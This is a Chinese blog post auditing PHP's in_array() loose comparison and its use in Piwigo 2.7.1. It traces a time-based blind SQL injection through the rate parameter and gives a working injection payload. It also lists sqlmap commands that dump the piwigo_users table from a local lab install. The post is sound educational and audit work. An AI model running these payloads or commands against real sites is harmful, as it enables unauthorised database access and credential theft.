php代码审计2 piwigo CMS in_array()函数漏洞
php代码审计2 piwigo CMS in_array()函数漏洞
一、目的
本次学习目的是了解in_array()函数和对项目piwigo中关于in_array()函数存在漏洞的一个审计并利用漏洞获得管理员帐号。
二、in_array函数学习
in_array() 函数搜索数组中是否存在指定的值。
in_array($search,$array,type) return bool
其中第一个参数$search为待搜索的值,$array为被搜索的数组,第三个参数决定是否进行类型比较。
第三个类型默认为false,即不考虑类型是否相同。
$b = array(1,2,3,4);
//$c=1;
$c='1dsfa';
if(in_array($c,$b)){echo '<br>c在b中';
}else{echo '<br>c不在b中';
}
//c在b中
关键在于该函数第三个参数,如果为false或者不设置,那么它就不会比较类型,会自己将字符串转换数字,会构成漏洞。
三、 CMS piwigo审计实战
这里复盘红日安全对piwigo的代码审计
Piwigo 是一个开源的网络相册管理软件,专为组织、团队和个人设计。自2002年诞生以来,Piwigo 已经支持了超过22年的用户,并且一直在不断进化。Piwigo 的特点包括高容量照片分类、可持续性、开源性以及丰富的插件和主题支持。它可以帮助用户轻松地管理、组织和分享他们的照片。
本次实例分析,我们选取的是 piwigo2.7.1 版本。该版本由于SQL语句直接拼接 r a t e ∗ ∗ 变量,而 ∗ ∗ rate** 变量,而 ** rate∗∗变量,而∗∗rate 变量也仅是用 in_array() 函数简单处理,并未使用第三个参数进行严格匹配,最终导致sql注入漏洞发生。
3.1 安装piwigo
这里是使用phpstudy搭建环境,php版本是5.3.29,mysql版本是5.5.29
注意:如果是php版本是7以上会报错
安装piwigo,下载地址:https://download.csdn.net/download/m0_53073183/90308961
安装步骤:
- 将下载后的piwigo文件夹放到www文件夹下
- 创建一个数据库piwigo,用户名为piwigo,密码123456
- 访问localhost/piwigo,会自动跳转到安装页面,按照步骤提示输入信息,安装完成!
3.2 漏洞分析
下面我们来看看具体的漏洞位置。漏洞的入口文件在根目录下的picture.php 中,具体代码如下:
//picture.php
if (isset($_GET['action']))
{switch ($_GET['action']){case 'add_to_favorites' :{$query = '
INSERT INTO '.FAVORITES_TABLE.'(image_id,user_id)VALUES('.$page['image_id'].','.$user['id'].')
;';pwg_query($query);redirect($url_self);break;......中间省略.......case 'rate' :{include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');rate_picture($page['image_id'], $_POST['rate']);redirect($url_self);}
当 $_GET[‘action’] 为 rate 的时候,这里直接使用post方式传递rate参数,并调用文件 include/functions_rate.inc.php 中的 rate_picture 方法,我们跳转到functions_rate.inc.php,查看rate_picture 方法,发现其使用 in_array() 函数对 $rate 变量进行检测,判断 $rate 是否在 $conf[‘rate_items’] 中,**$conf[‘rate_items’]**的内容可以在 include\config_default.inc.php 中找到,为 $conf['rate_items'] = array(0,1,2,3,4,5);
//config_default.inc.php........// rate_items: available rates for a picture
$conf['rate_items'] = array(0,1,2,3,4,5);
//functions_rate.inc.php......function rate_picture($image_id, $rate)
{global $conf, $user;if (!isset($rate)or !$conf['rate']or !in_array($rate, $conf['rate_items'])){return false;}。。。中间省略$query = ' //下面sql语句中的RATE_TABLE,为数据库中的piwigo_rate表
INSERTINTO '.RATE_TABLE.' (user_id,anonymous_id,element_id,rate,date)VALUES('.$user['id'].','.'\''.$anonymous_id.'\','.$image_id.','.$rate.',NOW())
;';pwg_query($query);
而漏洞便存在这个方法中,由于该方法中并没有将 in_array() 函数的第三个参数设置为 true ,所以会进行弱比较,可以绕过。比如我们将 $rate 的值设置成 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 那么SQL语句就变成:
INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;
这样就可以进行盲注了,如果上面的代码你看的比较乱的话,可以看下面简化后的代码:
<?php$conf['rate_items'] = array(0,1,2,3,4,5);
$rate = $_POST['rate'];
function rate_picture($image_id, $rate)
{global $conf;if (!isset($rate)or !$conf['rate']or !in_array($rate, $conf['rate_items'])) {return false;}//下面sql语句中的RATE_TABLE,为数据库中的piwigo_rate表$query = 'INSERT INTO '.RATE_TABLE.' (user_id,anonymous_id,element_id,rate,date) VALUES('.$user['id'].',' .'\''.$anonymous_id.'\',' .$image_id.',' .$rate .',NOW());';pwg_query($query);
}
3.3 漏洞利用
接下来我们直接用sqlmap进行验证,我们需要通过get方式传入action=rate,通过post方式传入rate=1(rate值可以传入0,1,2,3,4,5),我们先随便在功能页面上传两张图片

使用sqlmap构造payload:
sqlmap -u "http://192.168.3.8/piwigo/picture.php?/2/category/2&action=rate" --data "rate=1" --dbs --batch
由于是时间盲注,需要等待一段时间,得到数据库名piwigo

进一步获取用户名
sqlmap -u "http://192.168.3.8/piwigo/picture.php?/2/category/2&action=rate" --data "rate=1" -D piwigo --users --batch
得到user名为piwigo
获取所有的表,因为获取时间过长,不再展示
sqlmap -u "http://192.168.3.8/piwigo/picture.php?/2/category/2&action=rate" --data "rate=1" -D 'piwigo' --columns --batch
获取piwigo_users表中的数据
sqlmap -u "http://192.168.3.8/piwigo/picture.php?/2/category/2&action=rate" --data "rate=1" -D 'piwigo' -T 'piwigo_users' --dump --batch
得到字段为id , username,password,mail_address
得到username为piwigo,密码为密文:e10adc3949ba59abbe56e057f20f883e
密文为md5加密

其他内容因为获取时间过长,不再一一测试!
相关文章:
php代码审计2 piwigo CMS in_array()函数漏洞
php代码审计2 piwigo CMS in_array()函数漏洞 一、目的 本次学习目的是了解in_array()函数和对项目piwigo中关于in_array()函数存在漏洞的一个审计并利用漏洞获得管理员帐号。 二、in_array函数学习 in_array() 函数搜索数组中是否存在指定的值。 in_array($search,$array…...
docker搭建redis集群(三主三从)
本篇文章不包含理论解释,直接开始集群(三主三从)搭建 环境 centos7 docker 26.1.4 redis latest (7.4.2) 服务器搭建以及环境配置 请查看本系列前几篇博客 默认已搭建好三个虚拟机并安装配置好docker 相关博客…...
[Datawheel]利用Zigent框架编写智能体-1
1.背景知识 1.1 什么是zigent? Zigent 是一个多智能体框架,旨在简化和优化智能体的开发与部署。Zigent 是由 自塾(Zishu.co) 团队开发的一个开源项目。自塾在 2024 年推出了多个开源项目,其中包括 wow-agent…...
【计算机视觉】人脸识别
一、简介 人脸识别是将图像或者视频帧中的人脸与数据库中的人脸进行对比,判断输入人脸是否与数据库中的某一张人脸匹配,即判断输入人脸是谁或者判断输入人脸是否是数据库中的某个人。 人脸识别属于1:N的比对,输入人脸身份是1&…...
linux环境变量配置文件区别 /etc/profile和~/.bash_profile
在 Linux 系统中,环境变量可以定义用户会话的行为,而这些变量的加载和配置通常涉及多个文件,如 ~/.bash_profile 和 /etc/profile。这些文件的作用和加载时机各有不同。以下是对它们的详细区别和用途的说明: 文章目录 1. 环境变量…...
mac 配置 python 环境变量
最新 mac 电脑,配置原理暂未研究,欢迎答疑 方案一 获取python的安装路径 which python3 配置环境变量 open ~/.bash_profile 末尾添加: PATH"/Library/Frameworks/Python.framework/Versions/3.13/bin:${PATH}" export PATH …...
终极的复杂,是简单
软件仿真拥有最佳的信号可见性和调试灵活性,能够高效捕获很多显而易见的常见错误,被大多数工程师熟练使用。 空间领域应用的一套数据处理系统(Data Handling System),采用抗辐FPGA作为主处理器,片上资源只包含10752个寄存器,软仿也是个挺花时间的事。 Few ms might take …...
软件开发中的密码学(国密算法)
1.软件行业中的加解密 在软件行业中,加解密技术广泛应用于数据保护、通信安全、身份验证等多个领域。加密(Encryption)是将明文数据转换为密文的过程,而解密(Decryption)则是将密文恢复为明文的过程。以下…...
【豆包MarsCode 蛇年编程大作战】蛇形烟花
项目体验地址:项目体验地址 官方活动地址:活动地址 目录 【豆包MarsCode 蛇年编程大作战】蛇形烟花演示 引言 豆包 MarsCode介绍 项目准备 第一步:安装插件 第二步:点击豆包图标来进行使用豆包 使用豆包 MarsCodeAI助手实…...
Jmeter使用Request URL请求接口
简介 在Jmeter调试接口时,有时不清楚后端服务接口的具体路径,可以使用Request URL和cookie来实现接口请求。以下内容以使用cookie鉴权的接口举例。 步骤 ① 登录网站后获取具体的Request URL和cookie信息 通过浏览器获取到Request URL和cookie&#…...
使用Pytest Fixtures来提升TestCase的可读性、高效性
关注开源优测不迷路 大数据测试过程、策略及挑战 测试框架原理,构建成功的基石 在自动化测试工作之前,你应该知道的10条建议 在自动化测试中,重要的不是工具 在编写单元测试时,你是否发现自己有很多重复代码? 数据库设…...
Arduino大师练成手册 -- 读取DHT11
要在 Arduino 上控制 DHT11 温湿度传感器,你可以按照以下步骤进行: 硬件连接: 将 DHT11 的 VCC 引脚连接到 Arduino 的 5V 引脚。 将 DHT11 的 GND 引脚连接到 Arduino 的 GND 引脚。 将 DHT11 的 DATA 引脚连接到 Arduino 的数字引脚&am…...
【Jave全栈】Java与JavaScript比较
文章目录 前言一、Java1、 历史与背景2、语言特点3、应用场景4、生态系统 二、JavaScript1、历史与背景2、语言特点3、应用场景4、 生态系统 三、相同点四、不同点1、语言类型2、用途3、语法和结构4、性能5、生态系统6、开发模式 前言 Java和JavaScript是两种不同的编程语言&a…...
【高项】6.2 定义活动 ITTO
定义活动是识别和记录为完成项目可交付成果而须采取的具体行动的过程。 作用:将工作包分解为进度活动,作为对项目工作进行进度估算、规划、执行、监督和控制的基础 输入 项目管理计划 ① 进度管理计划:定义进度计划方法、滚动式规划的持续…...
openlava/LSF 用户组管理脚本
背景 在openlava运维中经常需要自动化一些常规操作,比如增加用户组以及组成员、删除用户组成员、删除用户组等。而openlava的配置文件需要手动修改,然后再通过badmin reconfig激活配置。因此开发脚本将手工操作自动化就很有必要。 通过将脚本中的User…...
数据结构与算法之贪心: LeetCode 649. Dota2 参议院 (Ts版)
Dota2 参议院 https://leetcode.cn/problems/dota2-senate/ 描述 Dota2 的世界里有两个阵营:Radiant(天辉)和 Dire(夜魇) Dota2 参议院由来自两派的参议员组成。现在参议院希望对一个 Dota2 游戏里的改变作出决定。…...
西藏酥油茶:高原上的醇香温暖
西藏酥油茶:高原上的醇香温暖 在西藏高原,有一种饮品,它不仅滋养了一代又一代的藏民,还承载着丰富的文化与历史,它就是西藏酥油茶。酥油茶,藏语称为“恰苏玛”,意为搅动的茶,是藏族人民日常生活中不可或缺的一部分,更是待客、祭祀等活动中的重要礼仪物品。 历史与文化渊源 酥…...
【模型】RNN模型详解
1. 模型架构 RNN(Recurrent Neural Network)是一种具有循环结构的神经网络,它能够处理序列数据。与传统的前馈神经网络不同,RNN通过将当前时刻的输出与前一时刻的状态(或隐藏层)作为输入传递到下一个时刻&…...
C++----STL(list)
介绍 list的数据结果是一个带头双向链表。 使用 有了前面string、vector的基础,后续关于list使用的讲解主要提及与string和vector的不同之处。 使用文档:cplusplus.com/reference/list/list/?kwlist 迭代器问题 insert以后迭代器不失效 #include…...
数据结构——AVL树的实现
Hello,大家好,这一篇博客我们来讲解一下数据结构中的AVL树这一部分的内容,AVL树属于是数据结构的一部分,顾名思义,AVL树是一棵特殊的搜索二叉树,我们接下来要讲的这篇博客是建立在了解搜索二叉树这个知识点…...
大数据学习栈记——Neo4j的安装与使用
本文介绍图数据库Neofj的安装与使用,操作系统:Ubuntu24.04,Neofj版本:2025.04.0。 Apt安装 Neofj可以进行官网安装:Neo4j Deployment Center - Graph Database & Analytics 我这里安装是添加软件源的方法 最新版…...
Android Wi-Fi 连接失败日志分析
1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分: 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析: CTR…...
蓝牙 BLE 扫描面试题大全(2):进阶面试题与实战演练
前文覆盖了 BLE 扫描的基础概念与经典问题蓝牙 BLE 扫描面试题大全(1):从基础到实战的深度解析-CSDN博客,但实际面试中,企业更关注候选人对复杂场景的应对能力(如多设备并发扫描、低功耗与高发现率的平衡)和前沿技术的…...
转转集团旗下首家二手多品类循环仓店“超级转转”开业
6月9日,国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解,“超级…...
华为云Flexus+DeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建
华为云FlexusDeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建 前言 如今大模型其性能出色,华为云 ModelArts Studio_MaaS大模型即服务平台华为云内置了大模型,能助力我们轻松驾驭 DeepSeek-V3/R1,本文中将分享如何…...
JVM 内存结构 详解
内存结构 运行时数据区: Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器: 线程私有,程序控制流的指示器,分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 每个线程都有一个程序计数…...
Kafka入门-生产者
生产者 生产者发送流程: 延迟时间为0ms时,也就意味着每当有数据就会直接发送 异步发送API 异步发送和同步发送的不同在于:异步发送不需要等待结果,同步发送必须等待结果才能进行下一步发送。 普通异步发送 首先导入所需的k…...
论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing
Muffin 论文 现有方法 CRADLE 和 LEMON,依赖模型推理阶段输出进行差分测试,但在训练阶段是不可行的,因为训练阶段直到最后才有固定输出,中间过程是不断变化的。API 库覆盖低,因为各个 API 都是在各种具体场景下使用。…...
MyBatis中关于缓存的理解
MyBatis缓存 MyBatis系统当中默认定义两级缓存:一级缓存、二级缓存 默认情况下,只有一级缓存开启(sqlSession级别的缓存)二级缓存需要手动开启配置,需要局域namespace级别的缓存 一级缓存(本地缓存&#…...
stm32wle5 lpuart DMA数据不接收
配置波特率9600时,需要使用外部低速晶振...
